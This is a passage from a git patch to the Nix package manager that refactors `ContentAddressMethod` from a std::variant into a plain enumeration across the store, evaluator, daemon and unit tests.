From b51e161af57e92691b9d74413e24050ddf9ed2c5 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 16 May 2024 19:08:28 -0400
Subject: [PATCH 399/528] Cleanup `ContentAddressMethod` to match docs

The old `std::variant` is bad because we aren't adding a new case to
`FileIngestionMethod` so much as we are defining a separate concept ---
store object content addressing rather than file system object content
addressing. As such, it is more correct to just create a fresh
enumeration.

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libexpr/eval.cc                    |   2 +-
 src/libexpr/primops.cc                 |  22 +--
 src/libfetchers/fetch-to-store.hh      |   2 +-
 src/libfetchers/mercurial.cc           |   2 +-
 src/libstore/content-address.cc        | 217 +++++++++++++++----------
 src/libstore/content-address.hh        |  76 +++++----
 src/libstore/daemon.cc                 |  12 +-
 src/libstore/derivations.cc            |   6 +-
 src/libstore/local-store.cc            |   2 +-
 src/libstore/path-info.cc              |  32 ++--
 src/libstore/remote-store.cc           |  19 ++-
 src/libstore/store-api.cc              |   6 +-
 src/libstore/store-api.hh              |   6 +-
 src/libutil/file-content-address.hh    |   2 +
 src/nix-env/user-env.cc                |   2 +-
 src/nix-store/nix-store.cc             |   4 +-
 src/nix/add-to-store.cc                |   4 +-
 src/nix/develop.cc                     |   2 +-
 src/nix/prefetch.cc                    |  15 +-
 src/perl/lib/Nix/Store.xs              |   2 +-
 tests/unit/libstore/common-protocol.cc |   8 +-
 tests/unit/libstore/content-address.cc |  10 +-
 tests/unit/libstore/derivation.cc      |   9 +-
 tests/unit/libstore/serve-protocol.cc  |   8 +-
 tests/unit/libstore/worker-protocol.cc |   8 +-
 25 files changed, 275 insertions(+), 203 deletions(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index fc211e694ad..0c45a7436d6 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -2303,7 +2303,7 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat
                 path.resolveSymlinks(),
                 settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy,
                 path.baseName(),
-                FileIngestionMethod::NixArchive,
+                ContentAddressMethod::Raw::NixArchive,
                 nullptr,
                 repair);
             allowPath(dstPath);
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 02b9701122e..8a71359dece 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1209,7 +1209,7 @@ static void derivationStrictInternal(
         auto handleHashMode = [&](const std::string_view s) {
             if (s == "recursive") {
                 // back compat, new name is "nar"
-                ingestionMethod = FileIngestionMethod::NixArchive;
+                ingestionMethod = ContentAddressMethod::Raw::NixArchive;
             } else try {
                 ingestionMethod = ContentAddressMethod::parse(s);
             } catch (UsageError &) {
@@ -1217,9 +1217,9 @@ static void derivationStrictInternal(
                     "invalid value '%s' for 'outputHashMode' attribute", s
                 ).atPos(v).debugThrow();
             }
-            if (ingestionMethod == TextIngestionMethod {})
+            if (ingestionMethod == ContentAddressMethod::Raw::Text)
                 experimentalFeatureSettings.require(Xp::DynamicDerivations);
-            if (ingestionMethod == FileIngestionMethod::Git)
+            if (ingestionMethod == ContentAddressMethod::Raw::Git)
                 experimentalFeatureSettings.require(Xp::GitHashing);
         };
 
@@ -1391,7 +1391,7 @@ static void derivationStrictInternal(
 
     /* Check whether the derivation name is valid. */
     if (isDerivation(drvName) &&
-        !(ingestionMethod == ContentAddressMethod { TextIngestionMethod { } } &&
+        !(ingestionMethod == ContentAddressMethod::Raw::Text &&
           outputs.size() == 1 &&
           *(outputs.begin()) == "out"))
     {
@@ -1413,7 +1413,7 @@ static void derivationStrictInternal(
 
         auto h = newHashAllowEmpty(*outputHash, outputHashAlgo);
 
-        auto method = ingestionMethod.value_or(FileIngestionMethod::Flat);
+        auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::Flat);
 
         DerivationOutput::CAFixed dof {
             .ca = ContentAddress {
@@ -1432,7 +1432,7 @@ static void derivationStrictInternal(
                 .atPos(v).debugThrow();
 
         auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256);
-        auto method = ingestionMethod.value_or(FileIngestionMethod::NixArchive);
+        auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::NixArchive);
 
         for (auto & i : outputs) {
             drv.env[i] = hashPlaceholder(i);
@@ -2208,7 +2208,7 @@ static void prim_toFile(EvalState & state, const PosIdx pos, Value * * args, Val
         })
         : ({
             StringSource s { contents };
-            state.store->addToStoreFromDump(s, name, FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, refs, state.repair);
+            state.store->addToStoreFromDump(s, name, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, state.repair);
         });
 
     /* Note: we don't need to add `context' to the context of the
@@ -2391,7 +2391,7 @@ static void prim_filterSource(EvalState & state, const PosIdx pos, Value * * arg
         "while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'");
     state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filterSource");
 
-    addPath(state, pos, path.baseName(), path, args[0], FileIngestionMethod::NixArchive, std::nullopt, v, context);
+    addPath(state, pos, path.baseName(), path, args[0], ContentAddressMethod::Raw::NixArchive, std::nullopt, v, context);
 }
 
 static RegisterPrimOp primop_filterSource({
@@ -2454,7 +2454,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value
     std::optional<SourcePath> path;
     std::string name;
     Value * filterFun = nullptr;
-    ContentAddressMethod method = FileIngestionMethod::NixArchive;
+    auto method = ContentAddressMethod::Raw::NixArchive;
     std::optional<Hash> expectedHash;
     NixStringContext context;
 
@@ -2470,8 +2470,8 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value
             state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path");
         else if (n == "recursive")
             method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path")
-                ? FileIngestionMethod::NixArchive
-                : FileIngestionMethod::Flat;
+                ? ContentAddressMethod::Raw::NixArchive
+                : ContentAddressMethod::Raw::Flat;
         else if (n == "sha256")
             expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256);
         else
diff --git a/src/libfetchers/fetch-to-store.hh b/src/libfetchers/fetch-to-store.hh
index 95d1e6b0160..c762629f3cb 100644
--- a/src/libfetchers/fetch-to-store.hh
+++ b/src/libfetchers/fetch-to-store.hh
@@ -18,7 +18,7 @@ StorePath fetchToStore(
     const SourcePath & path,
     FetchMode mode,
     std::string_view name = "source",
-    ContentAddressMethod method = FileIngestionMethod::NixArchive,
+    ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive,
     PathFilter * filter = nullptr,
     RepairFlag repair = NoRepair);
 
diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc
index 4b80cbe9b12..198795caa23 100644
--- a/src/libfetchers/mercurial.cc
+++ b/src/libfetchers/mercurial.cc
@@ -213,7 +213,7 @@ struct MercurialInputScheme : InputScheme
                 auto storePath = store->addToStore(
                     input.getName(),
                     {getFSSourceAccessor(), CanonPath(actualPath)},
-                    FileIngestionMethod::NixArchive, HashAlgorithm::SHA256, {},
+                    ContentAddressMethod::Raw::NixArchive, HashAlgorithm::SHA256, {},
                     filter);
 
                 return storePath;
diff --git a/src/libstore/content-address.cc b/src/libstore/content-address.cc
index fa06c4aa367..e1cdfece6e9 100644
--- a/src/libstore/content-address.cc
+++ b/src/libstore/content-address.cc
@@ -8,6 +8,7 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m)
 {
     switch (m) {
     case FileIngestionMethod::Flat:
+        // Not prefixed for back compat
         return "";
     case FileIngestionMethod::NixArchive:
         return "r:";
@@ -15,91 +16,128 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m)
         experimentalFeatureSettings.require(Xp::GitHashing);
         return "git:";
     default:
-        throw Error("impossible, caught both cases");
+        assert(false);
     }
 }
 
 std::string_view ContentAddressMethod::render() const
 {
-    return std::visit(overloaded {
-        [](TextIngestionMethod) -> std::string_view { return "text"; },
-        [](FileIngestionMethod m2) {
-             /* Not prefixed for back compat with things that couldn't produce text before. */
-            return renderFileIngestionMethod(m2);
-        },
-    }, raw);
+    switch (raw) {
+    case ContentAddressMethod::Raw::Text:
+        return "text";
+    case ContentAddressMethod::Raw::Flat:
+    case ContentAddressMethod::Raw::NixArchive:
+    case ContentAddressMethod::Raw::Git:
+        return renderFileIngestionMethod(getFileIngestionMethod());
+    default:
+        assert(false);
+    }
+}
+
+/**
+ * **Not surjective**
+ *
+ * This is not exposed because `FileIngestionMethod::Flat` maps to
+ * `ContentAddressMethod::Raw::Flat` and
+ * `ContentAddressMethod::Raw::Text` alike. We can thus only safely use
+ * this when the latter is ruled out (e.g. because it is already
+ * handled).
+ */
+static ContentAddressMethod fileIngestionMethodToContentAddressMethod(FileIngestionMethod m)
+{
+    switch (m) {
+    case FileIngestionMethod::Flat:
+        return ContentAddressMethod::Raw::Flat;
+    case FileIngestionMethod::NixArchive:
+        return ContentAddressMethod::Raw::NixArchive;
+    case FileIngestionMethod::Git:
+        return ContentAddressMethod::Raw::Git;
+    default:
+        assert(false);
+    }
 }
 
 ContentAddressMethod ContentAddressMethod::parse(std::string_view m)
 {
     if (m == "text")
-        return TextIngestionMethod {};
+        return ContentAddressMethod::Raw::Text;
     else
-        return parseFileIngestionMethod(m);
+        return fileIngestionMethodToContentAddressMethod(
+            parseFileIngestionMethod(m));
 }
 
 std::string_view ContentAddressMethod::renderPrefix() const
 {
-    return std::visit(overloaded {
-        [](TextIngestionMethod) -> std::string_view { return "text:"; },
-        [](FileIngestionMethod m2) {
-             /* Not prefixed for back compat with things that couldn't produce text before. */
-            return makeFileIngestionPrefix(m2);
-        },
-    }, raw);
+    switch (raw) {
+    case ContentAddressMethod::Raw::Text:
+        return "text:";
+    case ContentAddressMethod::Raw::Flat:
+    case ContentAddressMethod::Raw::NixArchive:
+    case ContentAddressMethod::Raw::Git:
+        return makeFileIngestionPrefix(getFileIngestionMethod());
+    default:
+        assert(false);
+    }
 }
 
 ContentAddressMethod ContentAddressMethod::parsePrefix(std::string_view & m)
 {
     if (splitPrefix(m, "r:")) {
-        return FileIngestionMethod::NixArchive;
+        return ContentAddressMethod::Raw::NixArchive;
     }
     else if (splitPrefix(m, "git:")) {
         experimentalFeatureSettings.require(Xp::GitHashing);
-        return FileIngestionMethod::Git;
+        return ContentAddressMethod::Raw::Git;
     }
     else if (splitPrefix(m, "text:")) {
-        return TextIngestionMethod {};
+        return ContentAddressMethod::Raw::Text;
+    }
+    return ContentAddressMethod::Raw::Flat;
+}
+
+/**
+ * This is slightly more mindful of forward compat in that it uses `fixed:`
+ * rather than just doing a raw empty prefix or `r:`, which doesn't "save room"
+ * for future changes very well.
+ */
+static std::string renderPrefixModern(const ContentAddressMethod & ca)
+{
+    switch (ca.raw) {
+    case ContentAddressMethod::Raw::Text:
+        return "text:";
+    case ContentAddressMethod::Raw::Flat:
+    case ContentAddressMethod::Raw::NixArchive:
+    case ContentAddressMethod::Raw::Git:
+        return "fixed:" + makeFileIngestionPrefix(ca.getFileIngestionMethod());
+    default:
+        assert(false);
     }
-    return FileIngestionMethod::Flat;
 }
 
 std::string ContentAddressMethod::renderWithAlgo(HashAlgorithm ha) const
 {
-    return std::visit(overloaded {
-        [&](const TextIngestionMethod & th) {
-            return std::string{"text:"} + printHashAlgo(ha);
-        },
-        [&](const FileIngestionMethod & fim) {
-            return "fixed:" + makeFileIngestionPrefix(fim) + printHashAlgo(ha);
-        }
-    }, raw);
+    return renderPrefixModern(*this) + printHashAlgo(ha);
 }
 
 FileIngestionMethod ContentAddressMethod::getFileIngestionMethod() const
 {
-    return std::visit(overloaded {
-        [&](const TextIngestionMethod & th) {
-            return FileIngestionMethod::Flat;
-        },
-        [&](const FileIngestionMethod & fim) {
-            return fim;
-        }
-    }, raw);
+    switch (raw) {
+    case ContentAddressMethod::Raw::Flat:
+        return FileIngestionMethod::Flat;
+    case ContentAddressMethod::Raw::NixArchive:
+        return FileIngestionMethod::NixArchive;
+    case ContentAddressMethod::Raw::Git:
+        return FileIngestionMethod::Git;
+    case ContentAddressMethod::Raw::Text:
+        return FileIngestionMethod::Flat;
+    default:
+        assert(false);
+    }
 }
 
 std::string ContentAddress::render() const
 {
-    return std::visit(overloaded {
-        [](const TextIngestionMethod &) -> std::string {
-            return "text:";
-        },
-        [](const FileIngestionMethod & method) {
-            return "fixed:"
-                + makeFileIngestionPrefix(method);
-        },
-    }, method.raw)
-        + this->hash.to_string(HashFormat::Nix32, true);
+    return renderPrefixModern(method) + this->hash.to_string(HashFormat::Nix32, true);
 }
 
 /**
@@ -130,17 +168,17 @@ static std::pair<ContentAddressMethod, HashAlgorithm> parseContentAddressMethodP
         // No parsing of the ingestion method, "text" only support flat.
         HashAlgorithm hashAlgo = parseHashAlgorithm_();
         return {
-            TextIngestionMethod {},
+            ContentAddressMethod::Raw::Text,
             std::move(hashAlgo),
         };
     } else if (prefix == "fixed") {
         // Parse method
-        auto method = FileIngestionMethod::Flat;
+        auto method = ContentAddressMethod::Raw::Flat;
         if (splitPrefix(rest, "r:"))
-            method = FileIngestionMethod::NixArchive;
+            method = ContentAddressMethod::Raw::NixArchive;
         else if (splitPrefix(rest, "git:")) {
             experimentalFeatureSettings.require(Xp::GitHashing);
-            method = FileIngestionMethod::Git;
+            method = ContentAddressMethod::Raw::Git;
         }
         HashAlgorithm hashAlgo = parseHashAlgorithm_();
         return {
@@ -201,57 +239,58 @@ size_t StoreReferences::size() const
 
 ContentAddressWithReferences ContentAddressWithReferences::withoutRefs(const ContentAddress & ca) noexcept
 {
-    return std::visit(overloaded {
-        [&](const TextIngestionMethod &) -> ContentAddressWithReferences {
-            return TextInfo {
-                .hash = ca.hash,
-                .references = {},
-            };
-        },
-        [&](const FileIngestionMethod & method) -> ContentAddressWithReferences {
-            return FixedOutputInfo {
-                .method = method,
-                .hash = ca.hash,
-                .references = {},
-            };
-        },
-    }, ca.method.raw);
+    switch (ca.method.raw) {
+    case ContentAddressMethod::Raw::Text:
+        return TextInfo {
+            .hash = ca.hash,
+            .references = {},
+        };
+    case ContentAddressMethod::Raw::Flat:
+    case ContentAddressMethod::Raw::NixArchive:
+    case ContentAddressMethod::Raw::Git:
+        return FixedOutputInfo {
+            .method = ca.method.getFileIngestionMethod(),
+            .hash = ca.hash,
+            .references = {},
+        };
+    default:
+        assert(false);
+    }
 }
 
 ContentAddressWithReferences ContentAddressWithReferences::fromParts(
     ContentAddressMethod method, Hash hash, StoreReferences refs)
 {
-    return std::visit(overloaded {
-        [&](TextIngestionMethod _) -> ContentAddressWithReferences {
-            if (refs.self)
-                throw Error("self-reference not allowed with text hashing");
-            return ContentAddressWithReferences {
-                TextInfo {
-                    .hash = std::move(hash),
-                    .references = std::move(refs.others),
-                }
-            };
-        },
-        [&](FileIngestionMethod m2) -> ContentAddressWithReferences {
-            return ContentAddressWithReferences {
-                FixedOutputInfo {
-                    .method = m2,
-                    .hash = std::move(hash),
-                    .references = std::move(refs),
-                }
-            };
-        },
-    }, method.raw);
+    switch (method.raw) {
+    case ContentAddressMethod::Raw::Text:
+        if (refs.self)
+            throw Error("self-reference not allowed with text hashing");
+        return TextInfo {
+            .hash = std::move(hash),
+            .references = std::move(refs.others),
+        };
+    case ContentAddressMethod::Raw::Flat:
+    case ContentAddressMethod::Raw::NixArchive:
+    case ContentAddressMethod::Raw::Git:
+        return FixedOutputInfo {
+            .method = method.getFileIngestionMethod(),
+            .hash = std::move(hash),
+            .references = std::move(refs),
+        };
+    default:
+        assert(false);
+    }
 }
 
 ContentAddressMethod ContentAddressWithReferences::getMethod() const
 {
     return std::visit(overloaded {
         [](const TextInfo & th) -> ContentAddressMethod {
-            return TextIngestionMethod {};
+            return ContentAddressMethod::Raw::Text;
         },
         [](const FixedOutputInfo & fsh) -> ContentAddressMethod {
-            return fsh.method;
+            return fileIngestionMethodToContentAddressMethod(
+                fsh.method);
         },
     }, raw);
 }
diff --git a/src/libstore/content-address.hh b/src/libstore/content-address.hh
index 5925f8e01a2..6cc3b7cd9e7 100644
--- a/src/libstore/content-address.hh
+++ b/src/libstore/content-address.hh
@@ -5,7 +5,6 @@
 #include "hash.hh"
 #include "path.hh"
 #include "file-content-address.hh"
-#include "comparator.hh"
 #include "variant-wrapper.hh"
 
 namespace nix {
@@ -14,24 +13,6 @@ namespace nix {
  * Content addressing method
  */
 
-/* We only have one way to hash text with references, so this is a single-value
-   type, mainly useful with std::variant.
-*/
-
-/**
- * The single way we can serialize "text" file system objects.
- *
- * Somewhat obscure, used by \ref Derivation derivations and
- * `builtins.toFile` currently.
- *
- * TextIngestionMethod is identical to FileIngestionMethod::Fixed except that
- * the former may not have self-references and is tagged `text:${algo}:${hash}`
- * rather than `fixed:${algo}:${hash}`.  The contents of the store path are
- * ingested and hashed identically, aside from the slightly different tag and
- * restriction on self-references.
- */
-struct TextIngestionMethod : std::monostate { };
-
 /**
  * Compute the prefix to the hash algorithm which indicates how the
  * files were ingested.
@@ -48,14 +29,51 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m);
  */
 struct ContentAddressMethod
 {
-    typedef std::variant<
-        TextIngestionMethod,
-        FileIngestionMethod
-    > Raw;
+    enum struct Raw {
+        /**
+         * Calculate a store path using the `FileIngestionMethod::Flat`
+         * hash of the file system objects, and references.
+         *
+         * See `store-object/content-address.md#method-flat` in the
+         * manual.
+         */
+        Flat,
+
+        /**
+         * Calculate a store path using the
+         * `FileIngestionMethod::NixArchive` hash of the file system
+         * objects, and references.
+         *
+         * See `store-object/content-address.md#method-flat` in the
+         * manual.
+         */
+        NixArchive,
+
+        /**
+         * Calculate a store path using the `FileIngestionMethod::Git`
+         * hash of the file system objects, and references.
+         *
+         * Part of `ExperimentalFeature::GitHashing`.
+         *
+         * See `store-object/content-address.md#method-git` in the
+         * manual.
+         */
+        Git,
+
+        /**
+         * Calculate a store path using the `FileIngestionMethod::Flat`
+         * hash of the file system objects, and references, but in a
+         * different way than `ContentAddressMethod::Raw::Flat`.
+         *
+         * See `store-object/content-address.md#method-text` in the
+         * manual.
+         */
+        Text,
+    };
 
     Raw raw;
 
-    GENERATE_CMP(ContentAddressMethod, me->raw);
+    auto operator <=>(const ContentAddressMethod &) const = default;
 
     MAKE_WRAPPER_CONSTRUCTOR(ContentAddressMethod);
 
@@ -141,7 +159,7 @@ struct ContentAddress
      */
     Hash hash;
 
-    GENERATE_CMP(ContentAddress, me->method, me->hash);
+    auto operator <=>(const ContentAddress &) const = default;
 
     /**
      * Compute the content-addressability assertion
@@ -200,7 +218,7 @@ struct StoreReferences
      */
     size_t size() const;
 
-    GENERATE_CMP(StoreReferences, me->self, me->others);
+    auto operator <=>(const StoreReferences &) const = default;
 };
 
 // This matches the additional info that we need for makeTextPath
@@ -217,7 +235,7 @@ struct TextInfo
      */
     StorePathSet references;
 
-    GENERATE_CMP(TextInfo, me->hash, me->references);
+    auto operator <=>(const TextInfo &) const = default;
 };
 
 struct FixedOutputInfo
@@ -237,7 +255,7 @@ struct FixedOutputInfo
      */
     StoreReferences references;
 
-    GENERATE_CMP(FixedOutputInfo, me->hash, me->references);
+    auto operator <=>(const FixedOutputInfo &) const = default;
 };
 
 /**
@@ -254,7 +272,7 @@ struct ContentAddressWithReferences
 
     Raw raw;
 
-    GENERATE_CMP(ContentAddressWithReferences, me->raw);
+    auto operator <=>(const ContentAddressWithReferences &) const = default;
 
     MAKE_WRAPPER_CONSTRUCTOR(ContentAddressWithReferences);
 
diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc
index 788c5e2eaf5..40163a6214d 100644
--- a/src/libstore/daemon.cc
+++ b/src/libstore/daemon.cc
@@ -435,19 +435,21 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
         } else {
             HashAlgorithm hashAlgo;
             std::string baseName;
-            FileIngestionMethod method;
+            ContentAddressMethod method;
             {
                 bool fixed;
                 uint8_t recursive;
                 std::string hashAlgoRaw;
                 from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw;
-                if (recursive > (uint8_t) FileIngestionMethod::NixArchive)
+                if (recursive > true)
                     throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive);
-                method = FileIngestionMethod { recursive };
+                method = recursive
+                    ? ContentAddressMethod::Raw::NixArchive
+                    : ContentAddressMethod::Raw::Flat;
                 /* Compatibility hack. */
                 if (!fixed) {
                     hashAlgoRaw = "sha256";
-                    method = FileIngestionMethod::NixArchive;
+                    method = ContentAddressMethod::Raw::NixArchive;
                 }
                 hashAlgo = parseHashAlgo(hashAlgoRaw);
             }
@@ -500,7 +502,7 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
         logger->startWork();
         auto path = ({
             StringSource source { s };
-            store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, refs, NoRepair);
+            store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, NoRepair);
         });
         logger->stopWork();
         to << store->printStorePath(path);
diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc
index 86988011206..6dfcc408c33 100644
--- a/src/libstore/derivations.cc
+++ b/src/libstore/derivations.cc
@@ -150,7 +150,7 @@ StorePath writeDerivation(Store & store,
         })
         : ({
             StringSource s { contents };
-            store.addToStoreFromDump(s, suffix, FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, references, repair);
+            store.addToStoreFromDump(s, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references, repair);
         });
 }
 
@@ -274,7 +274,7 @@ static DerivationOutput parseDerivationOutput(
 {
     if (hashAlgoStr != "") {
         ContentAddressMethod method = ContentAddressMethod::parsePrefix(hashAlgoStr);
-        if (method == TextIngestionMethod {})
+        if (method == ContentAddressMethod::Raw::Text)
             xpSettings.require(Xp::DynamicDerivations);
         const auto hashAlgo = parseHashAlgo(hashAlgoStr);
         if (hashS == "impure") {
@@ -1249,7 +1249,7 @@ DerivationOutput DerivationOutput::fromJSON(
     auto methodAlgo = [&]() -> std::pair<ContentAddressMethod, HashAlgorithm> {
         auto & method_ = getString(valueAt(json, "method"));
         ContentAddressMethod method = ContentAddressMethod::parse(method_);
-        if (method == TextIngestionMethod {})
+        if (method == ContentAddressMethod::Raw::Text)
             xpSettings.require(Xp::DynamicDerivations);
 
         auto & hashAlgo_ = getString(valueAt(json, "hashAlgo"));
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index 07ace70d0ef..2b4e01eb3ba 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -1253,7 +1253,7 @@ StorePath LocalStore::addToStoreFromDump(
     std::filesystem::path tempDir;
     AutoCloseFD tempDirFd;
 
-    bool methodsMatch = ContentAddressMethod(FileIngestionMethod(dumpMethod)) == hashMethod;
+    bool methodsMatch = static_cast<FileIngestionMethod>(dumpMethod) == hashMethod.getFileIngestionMethod();
 
     /* If the methods don't match, our streaming hash of the dump is the
        wrong sort, and we need to rehash. */
diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc
index ddd7f50d9fc..5c27182b720 100644
--- a/src/libstore/path-info.cc
+++ b/src/libstore/path-info.cc
@@ -48,15 +48,21 @@ std::optional<ContentAddressWithReferences> ValidPathInfo::contentAddressWithRef
     if (! ca)
         return std::nullopt;
 
-    return std::visit(overloaded {
-        [&](const TextIngestionMethod &) -> ContentAddressWithReferences {
+    switch (ca->method.raw) {
+        case ContentAddressMethod::Raw::Text:
+        {
             assert(references.count(path) == 0);
             return TextInfo {
                 .hash = ca->hash,
                 .references = references,
             };
-        },
-        [&](const FileIngestionMethod & m2) -> ContentAddressWithReferences {
+        }
+
+        case ContentAddressMethod::Raw::Flat:
+        case ContentAddressMethod::Raw::NixArchive:
+        case ContentAddressMethod::Raw::Git:
+        default:
+        {
             auto refs = references;
             bool hasSelfReference = false;
             if (refs.count(path)) {
@@ -64,15 +70,15 @@ std::optional<ContentAddressWithReferences> ValidPathInfo::contentAddressWithRef
                 refs.erase(path);
             }
             return FixedOutputInfo {
-                .method = m2,
+                .method = ca->method.getFileIngestionMethod(),
                 .hash = ca->hash,
                 .references = {
                     .others = std::move(refs),
                     .self = hasSelfReference,
                 },
             };
-        },
-    }, ca->method.raw);
+        }
+    }
 }
 
 bool ValidPathInfo::isContentAddressed(const Store & store) const
@@ -127,22 +133,18 @@ ValidPathInfo::ValidPathInfo(
       : UnkeyedValidPathInfo(narHash)
       , path(store.makeFixedOutputPathFromCA(name, ca))
 {
+    this->ca = ContentAddress {
+        .method = ca.getMethod(),
+        .hash = ca.getHash(),
+    };
     std::visit(overloaded {
         [this](TextInfo && ti) {
             this->references = std::move(ti.references);
-            this->ca = ContentAddress {
-                .method = TextIngestionMethod {},
-                .hash = std::move(ti.hash),
-            };
         },
         [this](FixedOutputInfo && foi) {
             this->references = std::move(foi.references.others);
             if (foi.references.self)
                 this->references.insert(path);
-            this->ca = ContentAddress {
-                .method = std::move(foi.method),
-                .hash = std::move(foi.hash),
-            };
         },
     }, std::move(ca).raw);
 }
diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc
index 9adad9c2abf..d749ccd0a35 100644
--- a/src/libstore/remote-store.cc
+++ b/src/libstore/remote-store.cc
@@ -392,8 +392,9 @@ ref<const ValidPathInfo> RemoteStore::addCAToStore(
     else {
         if (repair) throw Error("repairing is not supported when building through the Nix daemon protocol < 1.25");
 
-        std::visit(overloaded {
-            [&](const TextIngestionMethod & thm) -> void {
+        switch (caMethod.raw) {
+            case ContentAddressMethod::Raw::Text:
+            {
                 if (hashAlgo != HashAlgorithm::SHA256)
                     throw UnimplementedError("When adding text-hashed data called '%s', only SHA-256 is supported but '%s' was given",
                         name, printHashAlgo(hashAlgo));
@@ -401,8 +402,14 @@ ref<const ValidPathInfo> RemoteStore::addCAToStore(
                 conn->to << WorkerProto::Op::AddTextToStore << name << s;
                 WorkerProto::write(*this, *conn, references);
                 conn.processStderr();
-            },
-            [&](const FileIngestionMethod & fim) -> void {
+                break;
+            }
+            case ContentAddressMethod::Raw::Flat:
+            case ContentAddressMethod::Raw::NixArchive:
+            case ContentAddressMethod::Raw::Git:
+            default:
+            {
+                auto fim = caMethod.getFileIngestionMethod();
                 conn->to
                     << WorkerProto::Op::AddToStore
                     << name
@@ -432,9 +439,9 @@ ref<const ValidPathInfo> RemoteStore::addCAToStore(
                         } catch (EndOfFile & e) { }
                     throw;
                 }
-
+                break;
             }
-        }, caMethod.raw);
+        }
         auto path = parseStorePath(readString(conn->from));
         // Release our connection to prevent a deadlock in queryPathInfo().
         conn_.reset();
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 8c957ff1aad..05c4e1c5e8f 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -356,7 +356,7 @@ ValidPathInfo Store::addToStoreSlow(
     RegularFileSink fileSink { caHashSink };
     TeeSink unusualHashTee { narHashSink, caHashSink };
 
-    auto & narSink = method == FileIngestionMethod::NixArchive && hashAlgo != HashAlgorithm::SHA256
+    auto & narSink = method == ContentAddressMethod::Raw::NixArchive && hashAlgo != HashAlgorithm::SHA256
         ? static_cast<Sink &>(unusualHashTee)
         : narHashSink;
 
@@ -384,9 +384,9 @@ ValidPathInfo Store::addToStoreSlow(
        finish. */
     auto [narHash, narSize] = narHashSink.finish();
 
-    auto hash = method == FileIngestionMethod::NixArchive && hashAlgo == HashAlgorithm::SHA256
+    auto hash = method == ContentAddressMethod::Raw::NixArchive && hashAlgo == HashAlgorithm::SHA256
         ? narHash
-        : method == FileIngestionMethod::Git
+        : method == ContentAddressMethod::Raw::Git
         ? git::dumpHash(hashAlgo, srcPath).hash
         : caHashSink.finish().first;
 
diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh
index e719f9bf96a..a5effb4c131 100644
--- a/src/libstore/store-api.hh
+++ b/src/libstore/store-api.hh
@@ -441,7 +441,7 @@ public:
     virtual StorePath addToStore(
         std::string_view name,
         const SourcePath & path,
-        ContentAddressMethod method = FileIngestionMethod::NixArchive,
+        ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         PathFilter & filter = defaultPathFilter,
@@ -455,7 +455,7 @@ public:
     ValidPathInfo addToStoreSlow(
         std::string_view name,
         const SourcePath & path,
-        ContentAddressMethod method = FileIngestionMethod::NixArchive,
+        ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         std::optional<Hash> expectedCAHash = {});
@@ -481,7 +481,7 @@ public:
         Source & dump,
         std::string_view name,
         FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive,
-        ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive,
+        ContentAddressMethod hashMethod = ContentAddressMethod::Raw::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         RepairFlag repair = NoRepair) = 0;
diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh
index f3f5589de89..4c7218f1941 100644
--- a/src/libutil/file-content-address.hh
+++ b/src/libutil/file-content-address.hh
@@ -117,6 +117,8 @@ enum struct FileIngestionMethod : uint8_t {
     /**
